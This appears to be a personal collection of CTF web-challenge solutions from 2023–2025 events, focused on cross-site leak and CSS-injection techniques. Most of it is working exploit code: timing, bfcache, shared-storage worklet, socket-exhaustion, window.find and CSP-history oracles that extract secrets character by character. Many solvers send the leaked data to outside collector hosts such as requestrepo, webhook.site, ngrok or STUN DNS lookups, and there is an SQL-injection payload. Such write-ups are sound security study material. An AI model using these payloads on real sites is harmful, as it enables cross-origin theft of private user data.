    I used the fact that the bot had ignoreDefaultArgs: ["--hide-scrollbars"],, so we can detect if the scrollbars is there using CSS. Make it so that the if the image is rendered, the DOM is big enough that the scrollbar appears. Then, use /api/homework/mark as an background image so that you can detect if the scrollbar appeared afterwards.

    chrs = string.hexdigits
    
    known = ""
    IMG_REPEAT = 5
    while len(known) < 10:
        for c in chrs:
            current = known + c
            payload = f"<img src='/api/homework/mark?id={test_id}&score={current_score + 1}'><style>.lol{{overflow: auto;height: 500px}} .lol::-webkit-scrollbar{{background: url('/api/homework/mark?id={test_id}&score={current_score + 2}')}}</style><div class='lol'>{f"<img src='/api/user/avatar?c1=username&v1=teacher&c2=api_key&v2={current}%25'><br>"*IMG_REPEAT}</div>"
    
            while True:
                r = s.post(URL + "api/homework/create", json={
                    "content": payload,
                    "title": "bar"
                })
                if "created successfully" in r.text:
                    break
                print(r.headers)
                time.sleep(int(r.headers.get("retry-after", "5")))
            _id = re.findall(r"Homework (.+) created successfully", r.text)[0]
            print(_id)
            while True:
                r = s.get(URL + "captcha")
                open("captcha.svg", "wb").write(r.content)
                captcha_val = SvgCaptchaSolver().solve_captcha("captcha.svg")
                r = s.post(URL + "report", data={
                    "id": _id,
                    "captcha": captcha_val
                })
                if "Your homework will be reviewed soon" in r.text:
                    break
    
            time.sleep(30)
    
            while True:
                r = s.get(URL + "api/homework/view", params={
                    "id": test_id
                })
                print(r.json())
                score = r.json()["score"]
                if score != current_score and score != 1337000:
                    break
                time.sleep(5)
            if score == current_score + 2:
                current_score += 2
                known = current
                print(known)
                break
            current_score += 1
            print("X " + current)
        else:
            print("!?!?!")
            exit()
    

    And the last step is just SQLi puzzle ')=1 UNION SELECT NULL,1,'',$$,1--.

    XSLeak by exploiting lagging and time performance api

    Event NameCOR CTF 2025
    GitHub URL-
    Challenge Namecorctf-challenge-dev-2
    Attachments
    References

    stagging.html
    <!DOCTYPE html>
    <html>
      <head>
        <title>pepega</title>
      </head>
      <body>
        <script>
          //fetch(`/?page_opened`); // these were originally used to diagnose errors when testing on remote: sometimes the admin bot would die and it wouldn't be clear why, so I would use these statemenets to see how far it got into the solve script
          const chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"; // observe that this doesn't include curly braces. we'll have to figure out when the flag ends by looking for a suspicous number of underscores
          const remote = "ws://localhost:3000/ws";
    
          const urlParams = new URLSearchParams(window.location.search);
          const time = urlParams.get('time') || -1; // this represents the lag from the previous guess
          let base = urlParams.get('base') || "corctf{"; // this represents our current known flag
          let leftidx = parseInt(urlParams.get('leftidx')) || 0;
          let rightidx = parseInt(urlParams.get('rightidx')) || chars.length;
          const count = parseInt(urlParams.get('count')) || 15; // how many phrases to register? this number is actually doubled, so this corresponds to 30 phrases registered
          let mid = Math.floor((leftidx + rightidx)/2);
          console.log(`Leftidx at ${leftidx} and rightidx at ${rightidx}`);
          console.log(`Midpoint is at ${mid}`);
          if (time > 2000) { // match!
            console.log(`Matched, rightidx needs to come down to ${mid}`);
            rightidx = mid;
          }
          else if (time > 0) { // no match!
            console.log(`No match, leftidx needs to go up to ${mid+1}`);
            leftidx = mid+1;
          }
          if (leftidx == rightidx) { // found!
            base = base + chars[leftidx];
            console.log(base);
            leftidx = 0;
            rightidx = chars.length - 1;
          }
          mid = Math.floor((leftidx + rightidx)/2);
          console.log(`Testing from ${chars[leftidx]} to ${chars[mid]}`);
          const banned_phrases = [];
          for (let i = leftidx; i < mid+1; i++) {
            banned_phrases.push(base + chars[i]);
          }
          // we can't actually use "[" and "]", because those characters appear on parts of our webpages, causing the extension to trigger and lag out inappropriately. we could easily use "[C" and "D]" here, but doing it this way is more aesthetically pleasing
          for (let i = 0; i < count; i++) {
            banned_phrases.push('[CENS');
            banned_phrases.push('ORED]');
          }
          //fetch(`/?math_finished`);
    
          // like with corctf-challenge-dev, i find it much more elegant to register a MutationObserver than to sleep
          const extension_form_observer = new MutationObserver(async () => {
            const button = document.querySelector('#resync');
            if (button) { // button exists, ready to sync
              //fetch(`/?button_hooked`);
              if (button.textContent === "Synced!") { // rules obtained from websocket, ready to send to timing
                //fetch(`/?synced`);
                console.log("Button says 'Synced!', redirecting!");
                await new Promise(r => setTimeout(r, 200)); // sometimes the rules take just a little longer to fully register, not sure why?
                window.location.href = `./timing.html?base=${base}&leftidx=${leftidx}&rightidx=${rightidx}&count=${count}`;
              }
              else if (button.textContent === "Resync block settings") { // register rules    
                //fetch(`/?hooking_socket`);
                let socket = new WebSocket(remote);
                socket.onopen = (event) => {
                  console.log(`Connected.`);
                };
    
                let state = 0;
    
                socket.onmessage = async (event) => {
                  console.log(`Websocket received message: ${event.data}`);
                  if (state === 0) {
                    console.log("Sending name...");
                    socket.send("a");
                    state++;
                  }
                  else if (state === 1) {
                    console.log("Sending password...");
                    socket.send("a");
                    state++;
                  }
                  else if (state === 2) {
                    console.log("Rejecting update...");
                    socket.send("no");
                    console.log("Sending payload...");
                    socket.send(JSON.stringify({type: 'update', feed: "pwn", banned_phrases: banned_phrases}));
                    state++;
                  }
                  else {
                    //fetch(`/?trigger_button`);
                    console.log("Clicking button...");
                    button.click()
                  }
                };
              }
            }
          });
    
          extension_form_observer.observe(document.body, {
            childList: true,
            subtree: true
          });
        </script>
        <h1>yep</h1>
      </body>
    </html>
    timing.html
    <!DOCTYPE html>
    <html>
      <head>
        <title>pepega</title>
      </head>
      <body>
        <script>
          let i = 0;
          let longest_wait = 0;
          function trigger() {
            let iframe = document.getElementById('snoop');
            if (i == 0) { // first load, doesnt count
              start = performance.now();
              iframe.src = iframe.src;
              i++;
            }
            else if (i < 10 && longest_wait < 2000) {
              longest_wait = Math.max(performance.now() - start, longest_wait);
              console.log(longest_wait);
              if (longest_wait > 2000) {
                report(longest_wait);
              }
              start = performance.now();
              iframe.src = iframe.src;
              i++;
            }
            else {
              report(longest_wait);
            }
          }
          
          function report(time) {
            const urlParams = new URLSearchParams(window.location.search);
            const base = urlParams.get('base');
            const leftidx = urlParams.get('leftidx');
            const rightidx = urlParams.get('rightidx');
            const count = urlParams.get('count');
            window.location.href = `./staging.html?base=${base}&leftidx=${leftidx}&rightidx=${rightidx}&count=${count}&time=${time}`;
          }
          
          let start = performance.now();
        </script>
        <iframe id="snoop" src="https://[VICTIM_SITE]/challenge/flag" onload="trigger()">
      </body>
    </html>

    cache probing + xsleaks

    Event NameProject Sekai CTF 2025
    GitHub URLhttps://github.com/project-sekai-ctf/sekaictf-2025/
    Challenge Namenotebook viewer
    Attachments
    References

    XSLeak using #:~:text= and iframe lazy loading

    Event NameDiceCTF Quals 2025
    GitHub URL-
    Challenge Namesafestnote
    Attachments
    References

    CSSLeak in updated content, as example here using local storage value that reflected in the main page

    Event NameDiceCTF Quals 2025
    GitHub URL-
    Challenge Namesafestnote
    Attachments
    References

    create fake form and input with name note in localStorage, if 1st page is evicted from bfcache then the flag will be placed in that element, then use pattern and input:invalid css to do a binary search on each character did like 20 redirects + memory allocs to evict page from bfcache

    solve
    <!DOCTYPE html>
    <html>
    <head><title>Memory Hog Loop - Link Click</title></head>
    <body>
        <h1>Forcing Memory Pressure - Load <span id="count-display">?</span></h1>
        <p>Using link clicking for history entries.</p>
        <a id="next-link" style="display:none;"></a> <!-- Placeholder link -->
    
        <script>
            const MAX_LOADS = 20; // Load counts 0 through 19
            // To definitely go back past *all* loop pages + the original page before loop: -(MAX_LOADS + 1)
            // Or adjust based on how many pages were truly before this started.
            const HISTORY_STEPS_BACK = -22; // Example: Go back past 20 loop pages + 2 previous pages
            const MEMORY_ALLOC_MB = 1; // Allocate ~50MB per page load
            const ALLOC_CHUNK_SIZE = 1024 * 1024; // Allocate in 1MB chunks
    
            const urlParams = new URLSearchParams(window.location.search);
            let currentCount = parseInt(urlParams.get('count') || '0', 10);
            if (isNaN(currentCount)) currentCount = 0;
    
            document.getElementById('count-display').textContent = currentCount;
            console.log(`Memory Hog Page loaded. Count: ${currentCount}. History length: ${history.length}`);
    
            // --- Attempt to allocate memory ---
            let allocations = []; // Keep reference within this scope
            try {
                console.log(`Attempting to allocate ~${MEMORY_ALLOC_MB} MB...`);
                const targetBytes = MEMORY_ALLOC_MB * 1024 * 1024;
                let allocatedBytes = 0;
                while(allocatedBytes < targetBytes) {
                    // Check available memory heuristically (very rough, not standard)
                    if (typeof performance !== 'undefined' && performance.memory) {
                        if (performance.memory.usedJSHeapSize > performance.memory.jsHeapSizeLimit * 0.85) {
                             console.warn("Approaching JS heap limit, stopping allocation.");
                             break;
                        }
                    }
                    allocations.push(new Uint8Array(ALLOC_CHUNK_SIZE)); // Allocate chunk
                    allocatedBytes += ALLOC_CHUNK_SIZE;
                }
                console.log(`Allocated ~${(allocatedBytes / (1024*1024)).toFixed(2)} MB. Total allocations stored: ${allocations.length}`);
            } catch (e) {
                console.error("Memory allocation failed (maybe limit reached?):", e);
                // Clear potentially partial allocations on error
                 allocations = [];
            }
            // 'allocations' array reference is held until page navigates away
    
            // --- Loop Logic ---
            if (currentCount < MAX_LOADS) {
                const nextCount = currentCount + 1;
                const nextSearch = '?count=' + nextCount;
                const nextUrl = window.location.pathname + nextSearch; // Ensure path is included
    
                console.log(`Count ${currentCount} < ${MAX_LOADS}. Preparing navigation to ${nextUrl}`);
    
                // *** Use link clicking strategy ***
                try {
                    const link = document.getElementById('next-link');
                    if (!link) throw new Error("Link element not found");
                    link.href = nextUrl;
                    console.log(`Clicking hidden link to: ${link.href}`);
                     // Use a small timeout to ensure the current script execution context unwinds
                     // before the click-triggered navigation starts. This can sometimes help.
                    setTimeout(() => {
                        link.click();
                    }, 50); // 50ms delay before clicking
    
                } catch (e) {
                     console.error("Failed to trigger link click:", e);
                     // Fallback or error handling? Maybe try location.assign as a last resort?
                     // console.log("Falling back to location.assign...");
                     // window.location.assign(nextUrl); // assign() is *supposed* to add history too
                }
    
            } else {
                // --- Max loads reached ---
                console.log(`Max loads (${currentCount}) reached. Preparing final actions.`);
                console.log(`Final history length: ${history.length}`);
    
                window.open('https://safestnote.dicec.tf/?note=<form%20method=get><input%20name=note%20type=text%20pattern=^dice.i_gu3ss_1t_w4sn7_th3_saf3st_735fcf85.*%20/></form><style>input:valid%20{background:url(//imjov2iq.requestrepo.com/start);}input:invalid%20{background:url(//imjov2iq.requestrepo.com/bad);}</style>');
                // try { window.open(EXPLOIT_URL); } catch (e) { console.error(e); }
                // [1234567890abcdef]
                // [1234567890qwertyuiopasdfghjklzxcvbnmABCDEFGHIJKLMNOPQRSTUVWXYZ_]
                console.log(`Navigating back ${HISTORY_STEPS_BACK} steps.`);
                setTimeout(() => { // Delay allows listeners/payload action potentially
                     history.go(HISTORY_STEPS_BACK);
                }, 1000); // Slightly longer delay before final jump
    
            }
    
            // Optional: Log memory usage if available
            if (typeof performance !== 'undefined' && performance.memory) {
                console.log(`Memory usage: Used ${Math.round(performance.memory.usedJSHeapSize / 1024 / 1024)}MB, Limit ${Math.round(performance.memory.jsHeapSizeLimit / 1024 / 1024)}MB`);
            }
    
        </script>
    </body>
    </html>
    solve
    <script>
      // Purge bfcache, timeout to make sure history is updated
      let i = +location.search.slice(1) || 0;
      if (i < 6) {
        setTimeout(() => {
          location = location.pathname + '?' + (++i);
        }, 200);
      } else {
        // Binary search: abcdefghijklmnopqrstuvwxyz_0123456789
        window.open(`https://safestnote.dicec.tf/?note=
          <form method=get>
            <input name=note type=text pattern=^dice.i_gu3ss_1t_w4sn7_[abcdefghijklmnopqrst].* />
          </form>
          <style>
            input:valid {background:url(//fd0x8l1e.requestrepo.com/1);}
            input:invalid {background:url(//fd0x8l1e.requestrepo.com/0);}
          </style>
        `.replace(/\n/g, ''));
        setTimeout(() => {
          history.go(-8);
        }, 1000);
      }
    </script>

    XSLeak in sharedstorage using fencedFrame

    Event NameDiceCTF Quals 2025
    GitHub URL-
    Challenge Namenobin
    Attachments
    References

    solve

    itended

    nobin intended solution:

  • running a nonexistent handler takes more time than one that exists, since an error is thrown
  • from the worker you can register a handler for each char of flag
  • brrr
  • I don't have any sources, but from start I thought of using css injection to bypass dompurify, I just needed a way to have both injected content and the flag in the same window. if page is not in bfcache on back navigation it will evaluate js + place flag in <input>, getting to the content + flag condition, but css injection doesn't work on live value of <input> so by creating a fake <form><input name=note type=text /></form> it'll actually place the flag inside the fake input that we control, from there we can use input:valid and input:invalid selectors + pattern regex to leak the flag.

    https://stackoverflow.com/a/29612733

    the rest of the script was basically to evict page from bfcache but memory allocs were not necessary

    solver
    <body>
        <script>
            const params = new URLSearchParams(window.location.search);
            const progress = parseInt(params.get('progress') || 0);
            fencedFrame = document.createElement('fencedframe');
            document.body.appendChild(fencedFrame);
            const urls = [];
            for (let i = 0; i < 8; i++) {
                urls.push({url: `https://server/?progress=${progress}&data=${i}`});
            };
            sharedStorage.worklet.addModule(`https://server/?progress=${progress}`).then(async () => {
                fencedFrame.config = await window.sharedStorage.selectURL('get-message', urls, {keepAlive: true, resolveToConfig: true});
                params.set('progress', progress + 1);
                setTimeout(() => {
                    window.location.search = params.toString();
                }, 500)
            });
        </script>
    </body>
    export default {
        async fetch(request) {
            const url = new URL(request.url);
            const progress = url.searchParams.get("progress");
            return new Response(`
                class GetMessageOperation {
                    async run(urls, data) {
                        const message = await sharedStorage.get("message");
                        console.log("Message:", message);
                        const messageInt = BigInt("0x" + message);
                        console.log("Message integer:", messageInt);
                        return Number((messageInt >> BigInt(${progress * 3})) & BigInt(7))
                    }
                }
                register("get-message", GetMessageOperation);
            `,
            {
                headers: {
                    "Access-Control-Allow-Origin": "*",
                    "Content-Type": "application/javascript"
                }
            })
        }
    }
    solver
    <body>
    <script>
    function load(e) {
    return new Promise((resolve, reject) => {
    e.addEventListener("load", () => {
    console.log("done");
    resolve();
    });
    });
    }
    function sleep(ms) {
    return new Promise((resolve) => setTimeout(resolve, ms));
    }
    (async function () {
    const alphabet = "abcdef0123456789";
    const baseUrl = "SERVER_URL";
    const start_index = 0;
    const workletUrl = `${baseUrl}worklet.js`;
    await sharedStorage.worklet.addModule(workletUrl);
    
    let params = new URLSearchParams(window.location.search);
    let i = parseInt(params.get("i")) || start_index;
    for (let c = 0; c < 4; c++) {
    const frame = document.createElement("fencedframe");
    document.body.append(frame);
    let config = await sharedStorage.selectURL(
    "get-flag",
    [
    {
    url: `${baseUrl}wrong?i=${i}&c=${c}`,
    },
    {
    url: `${baseUrl}correct?i=${i}&c=${c}`,
    },
    ],
    {
    data: { i, c },
    keepAlive: true,
    resolveToConfig: true,
    }
    );
    frame.config = config;
    }
    await sleep(2000);
    console.log("done");
    if (i < 32) {
    params.set("i", i + 1);
    window.location = "/xss?" + params.toString();
    }
    })();
    </script>
    </body>
    class GetFlagOperation {
    	async run(urls, data) {
    		if (!("i" in data)) {
    			return;
    		}
    		const alphabet = "abcdef0123456789";
    
    		const flag = await globalThis.sharedStorage.get("message");
    		if (alphabet.indexOf(flag[data.i]) & (1 << data.c)) {
    			return 1;
    		}
    		return 0;
    	}
    }
    
    register("get-flag", GetFlagOperation);
    solver
    class LeakSecretOperation {
      async run() {
        var pos = await sharedStorage.get('charPosition');
        var bitPos = await sharedStorage.get('bitPosition');
    
        var secret = await sharedStorage.get('message');
        console.log(secret)
    
        var hexDigit = secret[pos];
        var digitValue = parseInt(hexDigit, 16);
        var bitValue = (digitValue >> (3 - bitPos)) & 1;
    
        console.log(`Leaking char at pos ${pos}, bit ${bitPos}: ${bitValue}`);
        return bitValue;
      }
    }
    register('leak-secret', LeakSecretOperation);
    <fencedframe id="fframe"></fencedframe>
    
    <script>
    
        const webhook = "https://xxxx.ngrok-free.app";
        const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
        (async () => {
            try {
                let pos = new URLSearchParams(window.location.search).get('idx');
                console.log("idx: " + pos);
                //await sleep(1500 * pos); 
    
                await window.sharedStorage.worklet.addModule(`${webhook}/worklet.js`);
    
                // leak 4 bits (1 char) at a time to avoid selectURL limit
                for (let bit = 0; bit < 4; bit++) {
                    await sharedStorage.set('charPosition', pos);
                    await sharedStorage.set('bitPosition', bit);
    
                    // max 1 bit information leak per run 
                    const urls = [
                        { url: `${webhook}/leak?pos=${pos}&bit=${bit}&value=0` },
                        { url: `${webhook}/leak?pos=${pos}&bit=${bit}&value=1` }
                    ];
    
                    const fencedFrameConfig = await sharedStorage.selectURL('leak-secret', urls, { resolveToConfig: true, keepAlive: true });
                    document.getElementById("fframe").config = fencedFrameConfig;
                    await new Promise(resolve => setTimeout(resolve, 500));
    
                }
            } catch (err) {
                fetch(`${webhook}/error?msg=${encodeURIComponent(err.message)}`);
            }
        }
        )();
    </script>
    <script>
      const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
    
      async function orchestrator() {
        let payload = "..." // url encoded leak_char.html
        for (idx = 0; idx < 32; idx++) {
          window.open(`/xss?xss=${payload}&idx=${idx}`);
          await sleep(500*4 + 1000);
        }
      }
      orchestrator();
    </script>

    XSLeak in sharedstorage using timing side channel

    Event NameDiceCTF Quals 2025
    GitHub URL-
    Challenge Namenobin
    Attachments
    References

    solve
    ;(async () => {
        // await sharedStorage.set('message', 'd8226cf1bd74e9ff')
    
        const blob = new Blob(
            [
                `
    class MessageReading {
      async run(data) {
        const message = await sharedStorage.get("message");
        if(data.regex.test(message)){
            for(let i=0;i<10;i++)crypto.subtle.generateKey({name:'RSA-PSS',modulusLength:2048,publicExponent:new Uint8Array([0x01, 0x00, 0x01]),hash:'SHA-256'},true,['sign'])
        }
        return message;
      }
    }
    register("read-message", MessageReading)
    `
            ],
            { type: 'text/javascript' }
        )
        await window.sharedStorage.worklet.addModule(URL.createObjectURL(blob))
    
        async function measure(n, fn) {
            const ar = []
            for (let i = 0; i < n; i++) {
                const st = performance.now()
                await fn()
                ar.push(performance.now() - st)
            }
            const s = ar.reduce((a, b) => a + b, 0) / n
            return s
        }
        const fn = () =>
            crypto.subtle.generateKey(
                {
                    name: 'RSA-PSS',
                    modulusLength: 2048,
                    publicExponent: new Uint8Array([0x01, 0x00, 0x01]),
                    hash: 'SHA-256'
                },
                true,
                ['sign']
            )
    
        const report = arg => (new Image().src = 'https://MY_HOST/?' + new URLSearchParams({ arg }))
    
        const start = performance.now()
        const chars = [...'0123456789abcdef']
        let secret = 'f3b01574bc52f358'
        while (secret.length < 8 * 2) {
            const regexes = chars.map(c => new RegExp(`^${secret}${c}`))
            const times = []
            for (const rg of regexes) {
                await window.sharedStorage.run('read-message', { keepAlive: true, data: { regex: rg } })
                const time = await measure(10, fn)
                times.push(time)
                console.log(rg, time)
            }
            const mx = Math.max(...times)
            const index = times.indexOf(mx)
            secret += chars[index]
            console.log(secret)
            report(secret)
        }
        console.log('took', performance.now() - start)
    })()
    
    /*
    report
    http://localhost:3000/xss?xss=%3Cscript%20src=%22https://MY_HOST/exp.js%22%3E%3C/script%3E
    */

    crypto key generation in worlet can block the key generation in main thread

    XSLeak in sharedstorage using sleep and iframe

    Event NameDiceCTF Quals 2025
    GitHub URL-
    Challenge Namenobin
    Attachments
    References

    solve

    for nobin I used basically this

    https://github.com/WICG/shared-storage/issues/86

    register one worklet per char, and supply one 1 url for select

    If you make a call to selectURL and only pass in a single URL it will not decrease the privacy budget

    if data doesnt match, sleep 1s, else return. then you can basically see which iframe got loaded first with onload

    function sleep(milliseconds) {
        const date = Date.now();
        let currentDate = null;
        do {
            currentDate = Date.now();
        } while (currentDate - date < milliseconds);
    }
    
    class Pwner {
        async run(urls, data) {
            const flag = await sharedStorage.get('message');
            if (flag[data.index] !== String.fromCharCode($char)) {
                sleep(1000);
            }
            return 0;
        }
    }
    register('pwn', Pwner);

    XSLeak in sharedstorage using crash tab

    Event NameDiceCTF Quals 2025
    GitHub URL-
    Challenge Namenobin
    Attachments
    References

    solve

    nobin solve

    class LeakSecretOperation {
      async run() {
        let tobrute = "a";
        console.log("TOBRUTE", tobrute);
        const secret = await sharedStorage.get('message');
    
        if(secret.startsWith(tobrute)) {
            console.log("FOUND! crashing...");
            console.log(Object.keys(this));
        }
      }
    }
    register('leak-secret', LeakSecretOperation);
    

    console.log(Object.keys(this)); will crash the entire tab so it's possible to use this to leak the flag

    XSLeak using max redirect limit

    Event NameLA CTF 2025
    GitHub URLhttps://github.com/uclaacm/lactf-archive/tree/main/2025
    Challenge Namegigachessbased
    Attachments

    Writeup
    Solver
    <script>
        SOCKETLIMIT = 255;
        INSTANCE = 'localhost:3000'
        MYSERVER = `sleep.xxxxxxxxxxxxxxx.xyz`
    
        let res = null;
    
        const sleep = (ms) => {
            return new Promise(resolve => {
                setTimeout(resolve, ms);
            });
        }
    
        const fetch_sleep_long = (i) => {
            controller = new AbortController();
            const signal = controller.signal;
    
            fetch(`https://${i}.${MYSERVER}/230?q=${i}`, {
                mode: 'no-cors',
                signal: signal
            });
    
            return controller
        }
    
        const load_async_script = (i, url) => {
            return new Promise((resolve, reject) => {
                const start = performance.now();
                let s = document.createElement("script");
                s.src = `https://${i}.${MYSERVER}/0?q=${i}&data=${Math.random()}`;
                s.async = true;
    
                s.onload = (e) => {
                    res = performance.now() - start;
                    console.log("RES RES", url, res);
                    document.body.removeChild(s);
                    resolve(res);
                }
    
                document.body.append(s);
            });
        };
    
        const block_socket = async (i) => {
            fetch_sleep_long(i);
            await sleep(0);
        }
    
        const exhaust_sockets = async () => {
            let i = 0
            for (; i < SOCKETLIMIT; i++) {
                block_socket(i);
            }
            console.log(`Used ${i} connections`);
        }
    
        const timeit = async (url, popup) => {
            return new Promise(async (r) => {
                let a, b;
                try {
                    let controller_blocker = await fetch_sleep_long(13373);
                    a = load_async_script(1231);
    
                    popup.location = url;
    
                    await sleep(100);
                    controller_blocker.abort();
                    await sleep(5)
                    controller_blocker1 = await fetch_sleep_long(133734);
    
                    await sleep(1000);
                    controller_blocker1.abort();
                    await sleep(5)
                    let cont2 = await fetch_sleep_long(13347);
    
                    await sleep(500);
                    cont2.abort();
    
                } catch (e) {
                    console.log(e)
                }
    
                r([await a])
            });
        }
        
        async function main() {
            let w = window.open("about:blank", target = "_blank", "width=500,height=500");
    
            exhaust_sockets();
    
            await sleep(1000);
    
            w.location = "https://gigachessbased.chall.lac.tf/#/search";
    
            let charset = '**_abc{}defghijklmnopqrstuvwxyz0987654321!ABCDEFGHIJKLMNOPQRSTUVWXYZ'.split('') //#$%&+-?@
            //let charset = '**!1234567890ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfed}{cba_'.split('') //#$%&+-?@
            let flag = "STOCAZZO";
    
            await sleep(5000);
    
            while(1){
                let found = false;
    
                for (let c in charset) {
                    let res = await timeit("https://gigachessbased.chall.lac.tf/#/search?q=" + charset[c] + flag, w);
                    
                    await fetch("https://webhook.site/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx?a=" + charset[c] + "&b=" + res, {
                        mode: 'no-cors',
                    });
    
                    if(res >= 2000 && charset[c] != "*"){
                        found = true;
                        flag = charset[c] + flag;
                        break;
                    }
    
                    await sleep(1000);
                }
    
                if(found){
                    fetch("https://webhook.site/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx?FOUND=" + flag, {
                        mode: 'no-cors',
                    });
                }else{
                    fetch("https://webhook.site/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx?NOTFOUND=" + flag, {
                        mode: 'no-cors',
                    });
                }
    
                await sleep(200);
            }
    
        }
    
        main();
    
    </script>

    XSLeak using window.find if DOM text is hidden or can’t be accessed via javascript

    Event NameTRX CTF 2025
    GitHub URL-
    Challenge NameBaby Sandbox
    Attachments
    References

    solver
    <svg onload="
    function check(search) {
        for (i=32;i<127;i++) {
            ch = String.fromCharCode(i);
            result = window.find(search+ch, true);
            if (result) { 
                console.log('Found: ' + search + ch);
                while(window.find(' ',false,true)!==false){}
                return ch;
            }
        }
    }
    
    search = 'TRX{';
    while(true){
        nch = check(search);
        search += nch;
        if (nch == '}') {
            break;
        }
    }
    
    let meta = document.createElement('meta');
    meta.httpEquiv = 'refresh';
    meta.content = '0;url=https://basket/aldm9gc?f=' + search;
    window.top.document.head.appendChild(meta);
    ">
    solver
    dic = `0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}!$_`.split(``)
    flag = `TRX{`
    while (true){
      for (let i = 0; i < dic.length; i++) {
        if (window.find(flag+dic[i])){
          flag += dic[i];
          break
        } while(window.find(' ',false,true)!==false){}
      };
      if (flag.substr(flag.length - 1) == `}`){
        break
      }
      
    }
    flag.match(/.{1,16}/g).forEach(e => {
      const pc = new RTCPeerConnection({ iceServers: [ { urls: [`stun:${Array.from(new TextEncoder().encode(e),b=>b.toString(16).padStart(2,'0')).join('') }.myhook.com`] } ] });
    pc.createOffer({ offerToReceiveAudio: true }).then(offer => pc.setLocalDescription(offer))
    });

    XSLeak using 404-200 and Object

    amogus (Imaginary CTF 2023)s

    https://book.hacktricks.xyz/pentesting-web/xs-search#event-handler-techniques

    XS Leaks based on status code (200 or 404) allows char by char flag exfiltration

    from pwn import *import urllib.parse
    from time import sleep
    from string import printable
    HOST, PORT = "amogus-admin-bot.chal.imaginaryctf.org", 1337PAYLOAD = """<object data="http://mail.supersus.corp/emails/1?search=ictf{i_gu$INPUT$"><object data="http://xpl.xanhacks.xyz:4444?404=$INPUT$"></object></object>"""for c in printable:
        conn = remote(HOST, PORT)
        payload = urllib.parse.quote_plus(PAYLOAD.replace("$INPUT$", c)).encode()
        print(payload)
        conn.sendlineafter(
            b"on the site http://auth.supersus.corp",
            b"http://auth.supersus.corp/?error=" + payload
        )
        conn.close()

    When javascript can’t be used

    https://xsleaks.dev/docs/attacks/element-leaks/#when-javascript-cant-be-used

    XSLeak using CSS font loading (tested in chrome)

    https://gist.github.com/parrot409/09688d0bb81acbe8cd1a10cfdaa59e45#leaky-note

    XSLeak using CSS loading

    https://gist.github.com/arkark/3afdc92d959dfc11c674db5a00d94c09

    XSLEAK oracle using

    web hidden-note

    hidden-note

    using “unstable sort” sort.Slice golang https://blog.arkark.dev/2023/09/21/seccon-quals/#:~:text=SECCON{RCE_is_po55ible_if_mitigation_4_does_not_exist}-,[web] hidden-note,-1 solved / 500

    However, you can leak URLs of shared pages using meta tag redirect technique:

    hidden-note

    https://blog.arkark.dev/2023/09/21/seccon-quals/

    <meta name="referrer" content="unsafe-url">
    <meta http-equiv="Refresh" content="0; URL=http://attacker.example.com">

    Oracle using valid/invalid Image based XSLEAK using web worker

    https://blog.bawolff.net/2023/10/ctf-writeup-jujutsu-kaisen-1-2-maplectf.html

    XSLEAK using vidio track

    Currently tested and work in chrome, not work in firefox https://www.w3.org/TR/webvtt1/#:~:text=%3A%3Acue(v%5Bvoice%3D”Esme”%5D)%20%7B%20color%3A%20cyan%20%7D

    <html>    <body>        <video muted autoplay controls src="//127.0.0.1/s.mp3">            <track default src="data:text/plain,WEBVTT%0d00:00.000-->00:30.000%0d<v test>test</v>">            <style>                video::cue(v[voice^="test"]){
                        background: url(//127.0.0.1/a?flag=n1);                }
                </style>        </video>    </body></html>

    XSleak using CSP

    lamenote | irisCTF 2024

    The iframe has the csp property set, so it will refuse to frame pages that don’t satisfy at least that csp. This is why the technique works - the browser won’t frame the note if the note had an image, and that’s leaked thru history

    In order to read history, we need the frame back at our origin So we need to serve a page with that csp in order to put it in the iframe

    xsleak using iframe csp to block iframe load

    <!DOCTYPE html>
    <html>
    <head></head>
    <body>
        <script>
            (async function() {
                /**
                 * The oracle function: loads the target URL in an iframe
                 * and checks history length to determine if a query was successful.
                 */
                async function go(body) {
                    let url = "https://lamenote-web.chal.irisc.tf/search?query=irisctf{" + body;
                    
                    // Create iframe with specific sandbox/CSP constraints
                    const f = document.createElement('iframe');
                    f.setAttribute('sandbox', 'allow-same-origin');
                    f.setAttribute('csp', "img-src 'none';");
                    f.src = url;
                    
                    let rCount = 0;
                    
                    // Handle the onload event to trigger a reload/navigation
                    f.onload = () => {
                        rCount += 1;
                        // Change location after initial load
                        setTimeout(() => {
                            f.onload = null;
                            f.src = url;
                        }, 100);
                    }
    
                    document.body.appendChild(f);
                    
                    // Wait for operations to complete
                    await new Promise(r => setTimeout(r, 1000));
                    
                    // Clean up and prepare for measurement
                    f.remove();
                    f.src = 'https://blah.ngrok-free.app/csp'; // Attacker control URL
                    document.body.appendChild(f);
                    
                    await new Promise(r => setTimeout(r, 100));
                    
                    // The Leak Vector: Reading history length
                    let ll = f.contentWindow.history.length;
                    document.body.innerHTML = "";
                    
                    return ll;
                }
    
                // Initialize known flag parts from URL params (for state persistence)
                let known = "";
                const urlParams = new URLSearchParams(window.location.search);
                if (urlParams.get("known") !== null) {
                    known = urlParams.get("known");
                }
    
                // Baseline measurement
                let l = await go("!"); 
                console.log("start", l);
    
                // Brute-force loop
                // Note: Typos in charset ('gihk') preserved from original code
                for (let c of '_abcdefgihkjlmnopqrstuvwxyz}') {
                    let l2 = await go(known + c);
                    console.log(l2, l, known, c);
                    
                    // Log attempt to attacker server
                    fetch("/?log=" + l2 + "|" + l + "|" + known + "|" + c);
    
                    // If history length matches the baseline (or criteria met)
                    if (l2 == l) {
                        known += c;
                        l = l2;
                        fetch("/?log=" + known);
                        break;
                    };
                    
                    l = l2;
                }
    
                // If flag is incomplete, reload page with new state to prevent timeout/crash
                if (!known.endsWith("}")) {
                    window.open("/?known=" + known);
                    window.close();
                    
                    // Keep the script alive while waiting for redirect
                    while (1) {
                        await new Promise(r => setTimeout(r, 1000));
                        console.log("idle");
                    }
                }
            })();
        </script>
    </body>
    </html>

    XSleak exfiltrate date using alert

    Gimme Content Type Mapna CTF 2024 https://gist.github.com/parrot409/61822d4b55f335bae5aaeba6938ef52b

    Content-Type solver

